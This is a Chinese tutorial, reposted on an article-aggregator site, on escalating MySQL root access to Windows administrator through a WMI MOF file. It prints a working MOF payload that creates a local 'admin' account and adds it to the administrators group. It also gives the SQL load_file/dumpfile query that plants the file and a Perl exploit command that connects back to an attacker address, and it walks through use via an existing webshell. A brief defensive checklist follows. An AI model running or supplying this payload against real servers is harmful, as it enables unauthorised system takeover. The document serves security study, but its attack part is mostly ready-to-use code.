MySQL数据库Root权限MOF方法提权研究
来源:互联网 发布:unity3d 变透明 编辑:程序博客网 时间:2024/05/19 18:00
方法1:运行 MOF 文件指定为命令行参数将 Mofcomp.exe 文件。
方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。
方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。
Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。第三种方法仅为向后兼容性与早期版本的 WMI 提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下,否则会失败!
001漏洞利用方法分析
该漏洞的利用前提条件是必须具备mysql的root权限,在Kingcope公布的0day中公布了一个pl利用脚本。
perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
192.168.2.100为mysql数据库所在服务器,mysql口令为空,反弹到192.168.2.150的5555端口上。
1.生成nullevt.mof文件
将以下代码保存为nullevt.mof文件:
- #pragma namespace("\\\\.\\root\\subscription")
- instance of __EventFilter as $EventFilter
- {
- EventNamespace = "Root\\Cimv2";
- Name = "filtP2";
- Query = "Select * From __InstanceModificationEvent "
- "Where TargetInstance Isa \"Win32_LocalTime\" "
- "And TargetInstance.Second = 5";
- QueryLanguage = "WQL";
- };
- instance of ActiveScriptEventConsumer as $Consumer
- {
- Name = "consPCSV2";
- ScriptingEngine = "JScript";
- ScriptText =
- "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
- };
- instance of __FilterToConsumerBinding
- {
- Consumer = $Consumer;
- Filter = $EventFilter;
- };
2.通过Mysql查询将文件导入
执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7中默认是拒绝访问的。导入后系统会自动运行,执行命令。
- select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
002实战利用
1.实验环境
本次实验环境为Windows2003+Apache+PHP,已经拥有Webshell权限。
2.上传文件到可写目录
将nullevt.mof文件上传到服务器可写目录,例如C:\RECYCLER\,如图5-4所示。
上传文件nullevt.mof
3.执行命令
配置好中国菜刀,然后通过数据库管理,执行查询命令,在执行查询命令前需要先选择一下数据库,然后将以下代码复制到查询语句输入框中,如图5-5所示。
select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
执行查询命令
4.查看执行结果
执行完毕后需要修改添加用户命令为将用户添加到管理员组,即“net.exe localgroup administrators admin/add\”,再次上传并查询,如图5-6所示,通过net user查看,果然admin已被添加到系统中。
添加用户成功
003防范方法
Mysql Root权限MOF方法提权其前提条件是能够将上传的nullevt.mof复制到系统目录下,例如c:\windows\system32\wbem\mof中,如果无法复制则会提权失败。一般对Windows2003以下操作系统效果较好,Windows2008以上由于保护机制,较少能够成功。因此可以采取以下措施进行防范:
1.在程序数据库连接文件中尽量不要使用Root帐号进行连接。
2.Root帐号使用强加密方式,采用字母大小写+数字+特殊字符,密码位数15位以上。
3.对Mysql数据库的mysql数据库目录权限严格限制,IIS用户无法读写该文件。
4. 操作系统目录c:\windows\system32\wbem禁止写入。
- MySQL数据库Root权限MOF方法提权研究
- mysql之mof提权详解
- Mof提权科普
- MySQL数据库root权限丢失解决方案
- 修改mysql 数据库root密码的方法
- mysql数据库修改root密码方法
- mysql数据库忘记root密码修改方法
- 数据库root权限恢复
- mysql忘记root密码&新建用户&新建数据库&赋予权限
- mysql数据库更改root密码以及授权用户DML权限
- MySQL root权限访问
- MySQL 安装 (不需root权限的安装方法)
- MySQL修改root密码及恢复权限的多种方法
- MySQL开启root远程访问权限的方法
- MySQL数据库设置远程访问权限方法
- MySQL root用户修复root权限
- 解决数据库root访问权限
- mysql root权限修改、恢复
- http协议
- poj1753 Flip Game dfs 枚举 待补完 位运算
- dependency analysis warning: The Copy Bundle Resources build phase contains this target's Info.plist
- 数据结构实验之二叉树四:还原二叉树
- 好东西,收藏留着以后用:单行/多行文本溢出显示省略号,多浏览器兼容
- MySQL数据库Root权限MOF方法提权研究
- ubuntu 14.04系统安装
- 安卓自定义View文章数据滚动显示数值
- Java主要学习哪些内容
- Windows和Linux下JDK安装配置
- UIWebView(Javascript)Html标签操作
- 【软考】软件攻城狮考试(七)——语言基础
- LeetCode #312 - Burst Balloons - Hard
- OpenStack Nova分析——Nova Scheduler调度算法分析(2)